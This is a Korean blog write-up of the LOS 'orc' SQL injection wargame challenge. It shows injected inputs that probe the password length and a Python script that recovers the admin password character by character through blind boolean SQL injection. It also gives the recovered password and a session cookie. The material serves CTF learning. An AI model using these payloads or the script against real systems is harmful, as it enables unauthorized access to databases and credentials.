728x90
해당 문제의 페이지를 접속하면 아래와 같은 코드를 볼 수 있었다.
우선, 이전 문제와 동일하게 preg_match 함수를 사용하여 pw의 입력 값을 필터링 규칙을 통해 prob, -, ., (, )와 같은 정보들을 필터링 하고 있음을 확인할 수 있다.
이 문제를 해결하기 위해서는 admin 계정의 정확한 pw를 입력해야 함을 알 수 있고, pw를 알아내고자 length()을 이용해여 pw의 길이를 알아보자. 먼저 pw=' || length(pw)=10%23 를 입력했을 때에는 아무런 변화가 없었고, 10을 8로 변경하여 pw=' || length(pw)=8%23 작성한 값을 주소창에 넣어주니 다음과 같은 화면을 볼 수 있었다.
따라서 pw의 길이는 8임을 알 수 있다. 이제 pw의 길이를 알아낸 것을 바탕으로 0~9, A~Z, a~z를 활용하여 'Hello admin'이 출력되는 값이 참이라는 값을 찾아내기 위해 파이썬 코드를 통해 해결할 수 있다.
파이썬 코드를 작성하기 위해 열심히 노력하였으나.. 오류가 많이 발생하여 다른 사람이 작성한 코드를 참고하여 활용해보았다.
import requests
password = ''
for admin_len in range(8): #pw의 길이 8만큼 수행
for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
query = {'pw' : '\' or substr(pw, 1, ' + str(admin_len + 1) +')=\'' + password + chr(admin_pass) + '\'#'}
cookies = {'PHPSESSID' : '0d2j9fbh5iasbrglftcbm2bfl9'} #쿠키 정보에 각자의 쿠키 값을 대입
res = requests.get(URL, params = query, cookies = cookies)
if('Hello admin' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
password = password + chr(admin_pass)
print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
break
참고자료 : https://butt3r-cat.tistory.com/entry/LOS-Lord-of-SQL-Injection-4%EB%B2%88-orc-%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4
내가 접속한 문제 페이지에 해당하는 쿠키값을 넣어 코드를 작성하니 다음과 같이 출력되는 것을 볼 수 있었고, 실제 비밀번호는 '095A9852'라는 것을 확인할 수 있었다.
따라서 찾은 pw 값을 주소창의 파라미터 값으로 넣어주니 문제를 해결할 수 있었다.
728x90
'CTF' 카테고리의 다른 글
[Dreamhack] DOM XSS write-up (1) | 2023.11.04 |
---|---|
[XSS-GAME] level5(reflected xss) write-up (0) | 2023.11.04 |
[LOS] goblin write-up (0) | 2023.11.01 |
[LOS] cobolt write-up (0) | 2023.11.01 |
[LOS] gremlin write-up (1) | 2023.11.01 |